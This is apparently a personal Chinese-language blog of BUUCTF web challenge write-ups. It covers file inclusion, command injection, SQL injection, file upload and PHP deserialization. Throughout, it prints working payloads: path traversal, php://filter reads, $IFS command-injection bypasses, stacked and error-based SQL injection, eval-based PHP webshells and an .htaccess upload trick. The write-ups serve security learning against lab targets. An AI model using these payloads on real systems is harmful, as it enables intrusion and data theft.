Buuctf Recording
[HCTF 2018]WarmUp–代码审计|文件包含|目录遍历
开启靶机,发现是一个大大的滑稽脸。
ctrl+u看源码,发现一个source.php被注释了,那么可以想到,这个文件是可以访问的。
访问这个文件,看到关键源码(就是下面的代码,这里是详细说明)
1 |
|
一些函数的定义:
mb_substr: 获取部分字符串。
mb_strpos: 查找字符串在另一个字符串中首次出现的位置。
in_array($needle, $haystack):needle待搜索值,haystack待搜索数组。
有了上述分析支持后,开始解题。
首先根据这段代码
1 | $whitelist = ["source"=>"source.php","hint"=>"hint.php"];//白名单验证 |
我先读取一个hint.php文件康康
发现输出flag在ffffllll什么的文件(小寄巧:ffffllllaaaagggg这里flag被写了四次所以使用4或5个../ 我tk,第一次做ctf题给我整这是吧?),我们尝试读取,但是由于存在过滤,并不可直接读取,采用以下payload绕过。
法一:
1 | ?file=int.php?../../../../../ffffllllaaaagggg |
法二(将?url编码两次):
1 | ?file=hint.php%253F../../../../../ffffllllaaaagggg |
依此法,可获得flag
参考:https://blog.csdn.net/Lixunzhe0112/article/details/128716492
[ACTF2020 新生赛]Include–文件包含|协议玩法
开启靶机,发现有一个超链接,点击进去,只有”can you find out the flag?”,这里我卡了挺久,抓包也抓了;爆路径也尝试了,一无所获。
先改造以下超链接(直接指向这一个文件),发现显示页面不变,说明这个超链接是直接指向flag.php的。
最终参考了wp,学习到以下知识点。
1、PHP 中若通过 require()、once_require() 或 include() 、once_include() 函数去包含另一个文件,该文件在网页中均是不可见的(即使你查看网页源代码)。
2、可以发现 flag.php 页面通过 get 方式中的参数 file 来包含网站当前目录下的其他文件(如 flag.php),再加上提示 “你能找到其他 flag 吗?” ,我们可以推断,要解答该题目需要获取 flag.php 的源代码。
分析过后,我们便有了解决方法。
思路:我们可以通过将包含的文件进行转码,让浏览器无法识别这是 PHP 代码,其也就无法执行该 PHP 文件,于是将文件中的内容直接显示出来,我们将通过 PHP 伪协议来完成这一动作。
使用 PHP 伪协议将网页源代码转换为 base64 编码的格式:
1 | php://filter/read=convert.base64-encode/resource=flag.php |
构造payload并且访问,得到一串base64编码的数据。
上网找一个在线base64解码工具即可得到flag。
[ACTF2020 新生赛]Exec–命令执行
开启靶机,发现是一个简易实现ping命令的文本输入框。
那么就是简单的命令执行,说到命令执行,那么就要思考以下几点:
1、对方是什么操作系统:windows|linux?
2、可不可以多条命令一起执行?
首先判断os,这里先抓包看,但是看不出来。
那么只能盲猜,先用ipconfig再用ifconfig
这里ipconfig没反应,但是ifconfig有反应,所以必是linux系统且支持多条命令执行。
如127.0.0.1;ifconfig(推荐.;是linux中的管道符)或127.0.0.1;ifconfig。
知道这一点,那么我们就可以自定义命令找flag了。
先查看当前目录,发现只有一个index.php文件,明显flag不存在于此处。
使用:”ls -al /“ 是一个在命令行中使用的命令。它的作用是列出根目录下所有文件和文件夹的详细信息。
最后查看flag(这里一定要cat /flag而不可以cat flag)
[GXYCTF2019]Ping Ping Ping–命令执行|代码审计
开启靶机,提示很明显,就是一个ip属性值接收IP地址ping。
但是依旧可以多条命令执行,但是这里用到linux的管道符”;”,原因是在网址栏操作。
那么我们先看下ip康康是否支持。
确实可以,那么就可以接着往下了。我想一步到位直接读取flag,但是发现空格被过滤了
退而求其次,绕过空格过滤
空格的绕过方法为:
1 | 1.$RIFS)替换 |
全部进行实验可以发现只有$IFS$1可以绕过但同时也发现flag也被过滤
没办法,只可以读取index.php看看过滤规则
可以知道,过滤全是正则,什么大小写都不行,但存在一个变量$a,那么我们可以利用这个进行传参实现绕过。
payload:
1 | ?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php |
这里打开后不会立刻看到flag,那么我们就要坚定内心,坚信自己一定没错究竟是在哪里呢,查看源码成功获取flag。
参考:https://blog.csdn.net/2301_78136321/article/details/133294740
这道题我觉得是有点恶心的,对于我来说前面已经耗费太多精力了,本想着终于获取到flag了,但是空空如也还看看源码,心态容易崩,还要继续提升。
[强网杯 2019]随便注–SQL注入|堆叠注入
开启靶机,是一个熟悉的sql注入题目(有提示)。
先判断有无注入点以及是字符型或者数字型。
这里测试出来存在注入点以及是字符型(输入1没报错,1’报错)。
!!!tips:想说一句,看到带输入框的,尽量把注入语句写到框内
继续测试,这里用or而非and(原因是前面1’错误,or后面的1=1为真,那么总体为真就会把所有数据都输出;而and只会报错输出一个)。
也就是:or爆全;and爆一个。
接着使用order by判断列数。
判断出来是存在两列,猜测是id号+数据。开始真正意义上的注入
先来一个union+select(大小写均是一遍)
发现存在过滤
返回一个正则过滤规则,可以看到几乎所有常用的字段都被过滤了。这里尝试过双写绕过,16进制绕过等;不过过滤机制太强,都不行。
这里技穷了,没有任何思路,看了下wp,才想到可以堆叠注入(注意使用数据库语句)。
先试着查一下数据库
1 | 1';show databases; |
成功查询到,说明存在堆叠注入,那么我们后面都围绕堆叠注入展开。
再爆表
1 | 1';show tables; |
可以看到当前库下有两张表(1919810931114514和words)。
先查words表中的列名
1 | 1';show columns from words;# |
发现只有id与data两个字段,应该不存在flag,继续看下一个表先。
注意:
对于纯数字的表名,要用``括起来
就是tableName是纯数字,需要用``包裹,比如
方式一:1’;desc `1919810931114514`;#
方式二:1’; show columns from `1919810931114514`;#
发现存在flag字段,就差一步了,加油。
最后读取这一步,又不会了,继续借鉴。
!!!该题目的查询语句很有可能是:select id,data from words where id =,因为我们输入1,回显的是两个字段,这与words表符合,而1919810931114514表中只有一列,那怎么办呢。
4种方法:
1、多方了解,才想到改名,就是它的查询语句是selsect id,data from words where id =,那么我们令原来的words表为另一个名字,而我们的目标1919810931114514这张表改为words,那么我们查询的时候,就会带入这个带有flag的表查询,从而爆出flag。
数据库知识:
修改表名:ALTER TABLE 旧表名 RENAME TO 新表名;
修改字段:ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;
构造payload:把words随便改成words1,然后把1919810931114514改成words,再把列名flag改成id(或data)。
1 | 1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);# |
这就实现了改名功能,只爆一个字段(id/data)不影响,然后像刚开始那样子测试有无注入点那样,直接爆出flag。
后面三种搬运一下,做知识总结。
2、handler函数。
handler不是通用的SQL语句,是Mysql特有的,可以逐行浏览某个表中的数据,格式:
打开表:HANDLER 表名 OPEN ;
查看数据: HANDLER 表名 READ next;
关闭表: HANDLER 表名 READ CLOSE;
1 | 1';HANDLER `1919810931114514` OPEN;HANDLER `1919810931114514` READ next;HANDLER `1919810931114514` CLOSE;# |
3、预编译方式
因为select关键字被过滤了,所以我们可以通过预编译的方式拼接select 关键字:
预编译相当于定一个语句相同,参数不同的Mysql模板,我们可以通过预编译的方式,绕过特定的字符过滤,格式:
1 | 1、PREPARE 名称 FROM Sql语句 ? ; |
例子:
1 | 1';PREPARE hacker from concat('s','elect', ' * from \`1919810931114514\` ');EXECUTE hacker; |
1 | 也可以将select * from \`1919810931114514\`语句进行16进制编码,即:0x73656c656374202a2066726f6d2060313931393831303933313131343531346 |
4、利用MySql预处理
使用条件:HANDLER也被过滤了。
在遇到堆叠注入时,如果select、rename、alter和handler等语句都被过滤的话,我们可以用MySql预处理语句配合concat拼接来执行sql语句拿flag。
最后总结一句话:安全与开发缺一不可。
参考:https://blog.csdn.net/qq_44640313/article/details/128308237
[SUCTF 2019]EasySQL
进入靶机,首先判断有无注入点。
输入1以上的int数据,发现有回显;而输入其他值则无回显。
进一步测试,测试是数字型注入或者是字符行注入。
1 | 1 and 1=1# |
这些payload全都测试过了,无一例外,全都回显nonono。
说明存在and过滤|输出nonono说明存在过滤,存在对某一个字符串的过滤。
既然存在注入,连盲注都不能测试了,因为盲注语句也用到and/or/updatexml等。
1 | username=xiaodi'or updatexml(1,concat(0x7e,version(),0x7e),0) or'&password=123456 |
那就只能尝试堆叠注入了。
输入payload:
1 | 1;show databases; |
成功爆出数据库。
接着爆表。
1 | 1;show tables; |
再尝试爆表的字段
1 | 1;show columns from FLAG; |
输出nonono,发现对flag存在过滤。
到这里,思路戛然而止,暂停略微参考一下wp。
接下来回顾一下最开始我们输入的非0数字和0与字母所回显的内容:非0数字回显1,0和字母不会回显任何内容
先了解一下||操作符:
在MySQL中,操作符||表示“或”逻辑:
command1 || command2
c1和c2其中一侧为1则取1,否则取0
这里猜测后端语句,因为只有当我们输入非零数字时才会会显出1,而0和其他全都无回显,而猜测逻辑大致是这样的:大胆猜测后端(内部查询语句)语句中有||操作符,只有我们输入非零数字才会满足||的逻辑为True从而进行回显的条件。也就是满足:select 输入的内容 || 一个列名 from 表名。(select 输入数据 || flag from Flag)
确实很大胆.真的没想到ctf的题会这样考,利用mysql的’||’的逻辑把flag藏到后面,有回显但是回显’||’前面判断为真或假的值,以这样的方式藏flag。
那么这样的话,构造payload,就把mysql中’||’的逻辑改成连接的逻辑:
1 | 1;set sql_mode=PIPES_AS_CONCAT;select 1 |
这样就可获取到flag。
参考:https://blog.csdn.net/m0_62851980/article/details/124083026
总结出一套做sql注入的思路
1、先判断有无注入点:把字符全试一遍,看看有无规律,找出其逻辑;
再用and/or进一步判断;
2、再爆列数;
3、联合查询,先爆库,再爆表,再爆字段,最后爆数据;
4、若存在select等过滤,用到报错盲注或堆叠注入。
[极客大挑战 2019]Secret File
打开靶机,显示xxx的秘密,我不关心,我只关心zhaoflag然后吃西瓜。
看源码,有一个超链接,点开看一下,发现跳转到另一个界面,有一个大大的SELECT;点击进去,来到一个看起来是最后一个界面的界面,抓包看一下
发现一个文件
跳转过去,发现flag所处位置以及文件的接收方式是以file作为属性接收的,且以get方式提交。
进入flag.php,发现是一场空欢喜。
看不到flag,那么就又要考虑到php伪协议。
1 | php://filter/read=convert.base64-encode/resource=flag.php |
看到flag。
看编码形式像base64编码,解码即可。得到flag。
!!!发现php伪协议配合文件包含挺多的。学习一下php伪协议。
php伪协议
1、配合文件读取,即网址栏含有?file=或?filename=诸如此类的字段–前提
2、再配合文件包含,即猜测其代码存在include某一个文件–关键
3、这样,即可尝试使用php伪协议读取那个文件。
常用payload(做题暂只遇到这一种):
1 | http://xxx.xxx.xxx/index.php?filename=php://filter/read=convert.base64-encode/resource=xxx.php |
推荐阅读(详细讲解):https://www.php.cn/faq/481803.html
https://blog.csdn.net/qq_37466661/article/details/126203437
https://blog.csdn.net/m0_56107268/article/details/127760614
但也存在限制,具体的限制看我的博客:https://fzsecurity-github.github.io/2023/10/14/wenjianbaohan/?highlight=%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB
[极客大挑战 2019]LoveSQL
嗯,我很爱sql……
进入靶机,是一个登陆界面,首先正常输入账号密码,嗯,返回一个账号密码错误的界面。那么测试有无注入点。
1 | 1 and 1=1# |
其中,在账号栏一行中输入1’ or 1=1#而且密码栏随便输入(以为存在先判断密码栏是否为空,再判断账号密码是否对上),发现即使不输入密码也显示出来信息。
思考,我刚开始以为是某种编码,但是尝试了很多种编码的解码,一一失败,判定为乱码,那么只能进一步注入。
前期知道为字符型get注入,那么先判定字段数。
首先测试3字段,发现正常报错(输出查询异常信息);但是输入4的时候直接报错显示不存在4这个字段。即判定3字段。
1 | 1' order by 4#; |
1 | 1' order by 3#; |
随后显示具体字段在哪个位置爆出
payload(密码随便填):
1 | 1' union select 1,2,3# |
这里有一个注意点:
经过测试,猜测该网站的后台代码会对接受过来的数据进行一次url解码,所以你在url栏输入payload时,你要进行url编码再填充进去。
如果你直接在账号输入栏测试则不需要。
好了,开始ggboom。
首先爆一些数据库名字,版本的相关信息。
1 | 1' union select 1,database(),version() |
然后,可以尝试使用mysql注入的思路,先判断mariaDB是否存在关键的几张表。
那么可以使用注入mysql数据库的思路。
爆库(可省略)
1 | 1' union select 1,2,group_concat(schema_name) from information_schema.schemata# |
爆表
1 | 1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek' |
爆字段(先爆l0ve1ysq1这张表,再爆geekuser这张表)
1 | 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1' |
1 | 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser' |
发现字段都一样
那么爆字段值(数据)吧
1 | 1' union select 1,group_concat(username),group_concat(password) from geekuser# |
1 | 1' union select 1,group_concat(username),group_concat(password) from l0ve1ysq1# |
geekuser表中数据为
geekuser的数据还是乱码,解析不了。那么寄希望于下一张表,l0ve1ysq1表中数据为
看不全,查看源码,获取flag
总算是一道正常的没有堆叠的注入题了…嗯,lovesql。
[极客大挑战 2019]Http
打开靶机,界面是一个正常的网页,第一件事先看源码,发现确实有一个.php文件可以访问。
尝试访问,发现是一个warning,提示来源(Referer)必须是https://Sycsecret.buuoj.cn
抓包修改,wp说:这里有一个注意点,那就是你加的Referer字段必须在connection字段下面,不然会报错
–为什么,就算没在下面也可以
提示要使用浏览器Syclover,那么在user-agent字段修改
提示要本地访问,那么添加一个X-Forwarded-For字段,值为127.0.0.1即可获取flag(建议康康)关于数据包的一些讲解:https://blog.csdn.net/qq_63548648/article/details/128083782
[极客大挑战 2019]Knife
打开靶机,提示菜刀不见了,还给了一句话木马,推测其网站下的目录存在有包含这个一句话木马的文件。想都不用想,连接上去就完事了。
点击测试连接,提示连接成功,成功getshell,就可getflag。
这么简单?不可置信,看了看源码,嗯果然是白给的shell…
[极客大挑战 2019]Upload
开启靶机,发现是一个标准的文件上传的界面(挺好看的感觉)。
e,说回正题,我们先尝试直接上传.php文件看能不能一发入魂。
显然不能,存在过滤。
那么接下来我们就要思考如何实现绕过,上传包含一句话木马的文件,直接getshell。MIME值绕过
抓包把MIME(Content-Type)的值改为正常的图片形式。
1 | image/png |
还是可以识别出来,pass。大小写混写
亲测,不可以实现绕过。php双写|把后缀直接改为php5、phtml等格式
可以绕过对于文件名的过滤,那么判断文件后缀检验方式为黑名单检测。
但是对文件内容<?存在过滤。
接下来思考:如何绕过网站对文件内容的检测
那是不是有这样的思路:既然你对php的标记有检测,那我可不可以使用php+java混编实现绕过?
1 | <script language='php'>@eval($_POST['111']);</script> |
但是发现还是绕过不了。
说明服务器不仅对前端进行了过滤,还对后端文件内容头做了校验。这里我们只能用文件幻术头来绕过试试。GIF89a-文件幻术头绕过
一个GIF89a图形文件就是一个根据图形交换格式(GIF)89a版(1989年7 月发行)进行格式化之后的图形。在GIF89a之前还有87a版(1987年5月发行),但在Web上所见到的大多数图形都是以89a版的格式创建的。 89a版的一个最主要的优势就是可以创建动态图像,例如创建一个旋转的图标、用一只手挥动的旗帜或是变大的字母。特别值得注意的是,一个动态GIF是一个 以GIF89a格式存储的文件,在一个这样的文件里包含的是一组以指定顺序呈现的图片。
这里上传成功了,但是双写好像不行,推测它对文件名的遍历方式是记录前面的值,取这个全部遍历完后的值与黑名单匹配。那么浏览器可能解析不了,只能把后缀改为.phtml。
上传成功后,那么就连接木马了。但这里,没有给出目录。做题做多了,这种ctf一般不会太恶心,猜测存放上传文件的文件夹目录为upload
连接成功
接下来就是愉快的找flag环节啦!
一般都在根目录下。成功获取flag。
from:
https://blog.csdn.net/m0_49025459/article/details/124723482
[ACTF2020 新生赛]Upload
挺简单,讲下思路,有一个点要注意。
开启靶机,将鼠标移动至中间,发现一个文件上传的功能。
1、直接开干,直接上传含有一句话的木马文件,发现存在白名单检测。
1 |
|
这里我直接抓包,但是发现抓不了包,无奈我只好只用浏览器自带的抓包工具尝试是不是我的bp配置有问题,结果这一抓,让我发现了一个main.js文件,原来是前端验证,好说直接禁用js即可
2、禁用js后,继续上传木马,发现还是存在过滤,那么这里存在的是后端的过滤,这时候可以抓包了,抓包尝试绕过。
3、MIME绕过,更改为图片格式,还是被拦截。
4、文件后缀名绕过,改为php5、phtml一个一个试哪一个可以被对方网站解析,经检测,发现只有phtml这个后缀可以,
5、直接上传成功,蚁剑连接即可。
[极客大挑战 2019]BabySQL
这道题值得我好好记录一下,因为好久没练过sql(而且还存在过滤)了。
打开靶机,是一道正常的sql注入题目。1、首先判断是字符型还是数字型
用户名输入1',如果是字符型,会报如下错误
注意红框外面的’是自带的,并不是查询语句的内容。如果是数字型,则会爆3个单引号(数字被正常接收)
get一个小姿势:1、and一般用于判断是字符型还是数字型;2、or常用来作万能密码
2、判断是否存在注入点以及是否存在过滤
1 | 先: 1' or 1=1# -->正常 |
判断对or存在过滤(匹配到’or’,自动替换为空)–为什么可以判断对or存在过滤??首先#后的'是没有闭合前的符号,刚开始我以为是对#存在过滤,但是如下图发现1=2#前少了个or,说明是对or存在过滤
那就双写,成功绕过过滤。
1 | 1' oorr 1=2# |
!由于知道会把or替换为空,那么后续我们均可以以这个思路绕过对其他关键字的过滤。
3、接着判断列数
1 | 1' oorrder by 4# |
发现对by也存在过滤,那就在by中间插入or即可(原因是它应该是正则去匹配的,且只匹配一次,那我就第一次不让他匹配到即可)。
1 | 1' oorrder bory 4(3)# |
判断列数为3列。4、爆数据库名字
先判断在1、2、3的哪个位置爆出数据。
1 | 1' unioorn seleorct 1,2,3# |
爆数据库名字
1 | 1' unioorn seleorct 1,database(),3# |
5、爆表
1 | 1' unioorn seleorct 1,group_concat(table_name),3 frorom infoorrmation_schema.tables wherore table_schema='geek'# |
6、爆列
1 | 1' unioorn seleorct 1,group_concat(column_name),3 frorom infoorrmation_schema.columns wherore table_name='b4bsql'# |
7、直接爆flag
1 | 1' unioorn seleorct 1,group_concat(username),group_concat(passwoorrd) frorom b4bsql# |
查看源码获取flaglearn by ashash
[极客大挑战 2019]PHP
打开靶机,发现网站正上方提示,猜测存在网站备份文件,毫不犹豫进行目录扫描。但是:
御剑以及kali上的dirb、nikto好像都扫不出来。
这里运用了另一款目录扫描工具:dirsearch。
安装以及使用:https://blog.csdn.net/whatday/article/details/128305168
1 | python dirsearch.py -u http://target -e php -t 40 |
扫描过程中发现了疑似flag的文件:flag.php。
细看才发现大小为0B…..额好家伙。
接着扫描,发现了网站备份文件:www.zip,下载下来便可以代码审计了。flag.php
1 |
|
很明显,骗人的。index.php
关键是:
1 |
|
应该是这里接收序列化的内容然后传输给class.php。那么关键flag相关的应该就是class.php了。class.php
关键代码。
1 |
|
重点代码解读:
1 | 1、Private 是一种可见性修饰符,private与public不同,private修饰的方法和数据域被限定只能在自己的类中被访问,即使在同一个包中也不能被其它类访问,public则可以运用在类或者类的成员上。 |
那么就可以构造PHP代码生成payload。
1 |
|
注意将显示不出来的符号换成%00。
payload:
1 | index.php?select=O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;} |
但输入后却不可以获取flag,思考后,发现是class.php的__wakeup()在反序列化前调用了,那么username就被换成了guest。
1 | class.php: |
所以目前需要绕过wakeup()。那么怎么绕过呢?如果对象属性的个数的值大于真实的属性个数的时候会绕过__wakeup的执行,把对象属性的值(这里是Name)即2改为大于2的数字就可以实现绕过
优化后的payload:
1 | index.php?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;} |
键入网址栏即可获取flag。1、我发现根据对方网站的代码构造生成payload的代码时,对方网站的代码中若含有方法,我们而已不理这些方法,直接构造一个只含有属性值的类
2、注意各种魔术方法在什么时候被调用,从而可以实现绕过一些干扰我们的魔术方法。还有就是注意private与public
[ACTF2020 新生赛]BackupFile
这道题很莫名其妙就输出了flag,很懵逼。
题目名字叫做backupfile,中文备份文件嘛,直接目录扫描先。
扫到一个index.php.bak,打开代码审计。
方便起见,我直接在注释里面里写。
1 | <?php |
几个函数的作用
1、is_numeric():检查变量是否为数值。如果为数值返回真;反之返回假。
2、intval():PHP中常用的一个强制类型转换函数,用于将变量的值转换为整数。
这里有点懵,我刚开始是将$str的值直接复制下来赋值给$key的,但是存在验证,获取flag失败。
但是后面我就想:如果输入纯数字会怎么样,那我就直接把123后面的那一串删掉了,没想到直接爆出flag。这里我上网查阅了资料才理解
原来:
== 是一个弱比较(高版本php弱比较没了)
===(强比较) 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较。(类型不相等直接不比较值)
== 在进行比较的时候,会先将字符串类型转化成相同,再比较。(把类型转为相等再比较)
如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行。
所以这里str = “123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3”在和数字比较时,str就转换称了123
所以str==flag。这里intval()也发挥了重要作用,将$key取整变成int型
[RoarCTF 2019]Easy Calc
[极客大挑战 2019]BuyFlag
开启靶机,是一个简易的网站页面,先看源码吧。
存在一个”pay.php”,估计是关键的物件,点进去看一下。
依然是个普通的界面,继续查看源码,这一看不要紧,看到关键解题信息
这段代码估计是pay.php的源码,这里泄露了。
意思是以属性password接收,之后强制转换为数字,如果=404可能会输出flag。
这里直接抓包,把get提交方式改为post,加上password。
但是发现还是没有用户权限,那就尝试把cookie值的0改为1(做题多了自然会知道--迪师傅
)
成功连上用户,但是发现数据没有传送成功。这里因为前面是get,你直接修改方法为post但还是缺少必要数据
加上
1 | Content-Type: application/x-www-form-urlencoded |
接着发包,成功传送,但是发现不可为纯数字,突然想到不必传送纯数字,因为后面的intval()会把我们输入的password强制转为整数哈哈。
成功登录,但发现好像需要我们给钱。那就给他!
发现数字过长,那就改短点?
tnnd,戏耍我?上网寻求大佬的帮助,发现这里应该是使用strcmp()函数比较字符串的那我把字符串改为数组,然后输入任意价格不就行了?
我直接0元购,bug到flag。总结
1、数据包提交方式由get->post:首先把头部的get改为post,然后加上Content-Type: application/x-www-form-urlencoded,在数据包的最后加上你要发送的数据。
2、flag不是一遍就可以得出来的,要敢于利用对方网站代码的漏洞进行尝试。
[极客大挑战 2019]HardSQL
这道题是报错盲注
开启靶机,依然是登录框。
密码随意填,用户名填1|1’测试是字符型还是数字型。
这里填1’的时候报错,证明是字符型。
这里常规测试:
1 | 1' or 1=1# |
发现存在字符被过滤。
初步猜测是对空格字符存在过滤,应该是空格后不能有数据。
常规的联合注入不适用(这里也用了sqlmap跑了一下,map说测试不出注入点hh)
那么可以采用报错盲注的方式。
盲注
updatexml()
首先先测试updatexml函数可不可用。
1 | d'or(updatexml(1,concat(0x7e,database()),1))# |
爆数据库名字
成功爆出,那么这个思路可以继续使用。
爆数据库版本
1 | d'or(updatexml(1,concat(0x7e,version()),1))# |
爆表
1 | d'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))# |
爆字段
1 | d'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1))# |
爆flag
1 | d'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))),1))# |
成功爆出flag,但是很奇怪,只有一半(输出限制)。
那么先爆左边
1 | d'or(updatexml(1,concat(0x7e,(select(left(password,30))from(H4rDsq1))),1))# |
再爆右边
1 | d'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1))),1))# |
注意:这里的右半部分可能会包括左半部分,看清楚再拼接
这样即可获取flag。
[BJDCTF2020]Easy MD5
1、开启靶机,是一个简单的文本输入框,这里我先一顿乱输入,发现一点反应都没有,查看源代码也没有可以利用地方,那么就尝试抓包。
发现与题目搭边的md5关键字2、那么这里首先了解一下md5函数的意义。
md5(string,raw)
参数以及描述
string 必需。要计算的字符串。
raw 可选。
默认不写为FALSE,32位16进制的字符串
TRUE,16位原始二进制格式的字符串
32位16进制字符串的意思是:将MD5加密得到的128 位长度的”指纹信息”,以每4位为一组,分为32组,每组以转换为16进制,进行转换得到一个32位的字符串。
总的来说就是我们平时看到的MD5加密的结果
16位原始二进制格式的字符串的意思是:将MD5加密得到的128 位长度的”指纹信息”分组转化为16位的一个字符串,然后两个字符为一组,依照ACILL码转化为字符串。可以这样理解:raw为true时,相当于在raw值为false时,再进行一次计算
3、我们的目标就是要找一个字符串取32位16进制的md5值里带有276f7227这个字段的
为什么有这个思路?
因为首先看到函数的raw字段值为true,所以就是把md5加密后再输出成一个8位16进制,而前几位是276f7227,276f7227经过这道题目的函数处理后,会还原成’or’,相当于是万能密码了。
https://blog.csdn.net/weixin_73560599/article/details/131998887
https://www.cnblogs.com/Rammstein-and-rock/p/16513692.html
借助其他师傅,发现了符合条件的字符串:ffifdyop,做md5后:276f722736c95d99e921722cf9ed621c,然后就会实现绕过。4、在框内输入ffifdyop
成功跳转到另一个界面
查看源码5、数组绕过
md5不能加密数组,传入数组会报错,但会继续执行并且返回结果为null
比如将两个数组的md5值进行比较
md5(a[]=1) === md5(b[]=1)
由于md5函数无法处理数组,会返回null,所以md5加密后的结果是下面这样
null === null
结果返回true,也就是说数组的md5值进行比较时,结果相等
数组绕过不只可以绕过弱类型比较,还可以绕过强类型比较(===)
进行数组绕过
?a[]=1&b[]=2,成功跳转6、同样,只不过是以post传输数据
主要是第一步比较难以想出来,涨知识了
md5相关绕过学习文章
https://blog.csdn.net/LYJ20010728/article/details/116779357
[RoarCTF 2019]Easy Calc
感谢这位师傅的文章:https://blog.csdn.net/weixin_52116519/article/details/1242120361、前置知识
原理1:PHP的字符串解析特性
PHP将查询字符串(在URL或正文中)转换为内部$_GET或关联数组$_POST。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。
例如:
如何实现:/?foo=bar变成Array([foo]=> “bar”)。
/? foo=bar变成Array([foo]=> “bar”)。 //?号后有一个空格
/?+foo=bar变成Array([foo]=> “bar”)。 //?号后有一个+号php在解析的时候,会先把空格(+)去掉,然后解析
原理2:scandir()列出目录和文件,var_dump()用于输出
scandir()函数返回指定目录中的文件和目录的数组。
scandir(/)相当于ls /
var_dump()相当于echo
原理3:file_get_contents()读取并输出文件内容
例如 file_get_contents(/flag.php),读取/flag.php的代码2、分析
开启靶机,发现是一个计算机的界面,那么就正常计算,发现可以实现;输入其他则无回显。
查看源代码,看源码,发现有 waf 和路径
访问这个路径,是一段源代码
大概意思是:GET传入一个num,并且对num的值进行黑名单过滤,最后eval()执行。但是测试过后,黑名单过滤的不止源码列出来的。
输入字符,直接被waf拦截
应该是这样:当检测到用户输入数据时,首先时waf进行检测,通过后就是这个网站的后端代码继续正则检测。3、斩题
原理一利用
首先绕过waf对于num属性的监听,利用原理一
由于waf原先是监听检测”num”,现在换成了” num”,成功绕过waf检测;但是php在解析的时候,会先把空格去掉,然后解析,这样实现绕过兼运行代码。原理二利用
接下来我们尝试读取网站的目录结构
1 | ? num=var_dump(scandir(chr(47))) |
注意:函数内部的具体内容要使用ASCLL码绕过这个网站的后端代码继续正则检测
发现flag存在的目录原理三的利用
1 | ? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))//多个字符间不可使用空格,会被正则匹配到,所以换成.连接 |
4、成功获取到flag
学习连接
利用PHP的字符串解析特性Bypass:https://www.freebuf.com/articles/web/213359.html
[MRCTF2020]你传你🐎呢
开启靶机,是一个文件上传的界面。1、首先常规测试。
直接上传php文件,发现直接被检测到拦截,尝试常规的思路进行绕过,都被打道回府。2、配置文件.htaccess绕
那么这里就可以上传一个配置文件,以.htaccess命名,内容为:
1 | <FilesMatch "shell.png"> |
上传一个.htaccess文件,这个.htaccess文件的作用就是把这个图片文件解析成php代码执行。
直接上传即可,注意,MIME值要抓包修改。
成功上传。3、然后上传一个图片马
内容是
1 | <script language='php'>eval($_REQUEST[shell]);</script> |
随后直接上传,成功。4、webshell管理工具连接
访问的网址应该是:
http://c95ecc9c-8102-4d9d-ba7d-f558ae384843.node4.buuoj.cn:81/upload/cfdfb305e6a0a106262f15d58e1f6b9a/shell.png
即去掉/var/www/html/
成功找到flag
[MRCTF2020]Ez_bypass
关键
:1、MD5绕过
2、is_numeric()绕过
开启靶机,直接查看源码即可。2、代码审计
简而言之就两处比较重要:
1 | if (md5($id) === md5($gg) && $id !== $gg) |
注意这里是===强等于,可以将参数设置为数组进行绕过;如果是双等号弱等于,可以找两个md5加密后开头都是0e(这样就会被认为是科学计数法)的参数进行绕过
第一处:
在网址栏填入?id[]=1&gg[]=2
1 | if (!is_numeric($passwd)) |
第二处:
3种方法绕过。
法一数组加16进制绕过:
passwd[]=12D687(1234567的16进制)
法二%00与%20截断:is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。
passwd=1234567%00(%20也可)
法三:passwd=1234567a
最终:post提交:passwd=1234567%203、斩
根据上述分析,最终填入
直接爆出flag。参考
https://blog.csdn.net/weixin_50597969/article/details/115492810
[GXYCTF2019]BabySQli
打开靶机,标准的登录界面。首先测试是否存在注入点
ps:在用户名|密码输入都可,个人习惯在密码框输入。
输入1,密码随便输入
提示不存在这个用户
输入1’,密码随便输入
直接报错,说明输入的’带入到数据库查询,存在注入点,且是字符型注入接下来尝试万能密码
1 | 1' or 1=1# |
应该是对or存在过滤,这里双写绕过也行不通,过滤做得挺好的。
既然对or存在过滤,那么报错盲注应该也不行。然后尝试堆叠注入
1 | 1';show database(); |
但是dabtabse()又被过滤了。盲猜
然后我就不断尝试,发现select,union没被过滤
那我就先爆一下字段数
1 | 1' union select 1,2,3# |
1 | 1' union select 1,2 |
那么可以确定字段数为3。
测试3个字段时,提示用户不对,那么猜测3个字段中有一个是select username,一个select password。
继续测试,看看具体是哪一个,这里有点跳跃,因为我直接猜username是admin。
1 | 1' union select 1,'admin',3 |
测试出第二个字段是username。关键-联合注入添加临时用户
利用sqli的特性:当union联合查询不存在的数据时,联合查询就会构造一个虚拟的数据
那么我在密码输入1
那么,payload如下(下面那一长串为1的md5值)
1 | 1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b' |
ps:密码的字段靠试,1的位置没有爆出那么就尝试3的位置。
1 | 我的理解是:执行以上sql语句时,在查询的时候并没有在数据库中匹配到(因为username虽然匹配了,但是password仍没有匹配),那么union就会创造一个临时的数据,也就在数据库中临时加上了:'admin' '1',然后我密码输入1,刚好匹配。 |
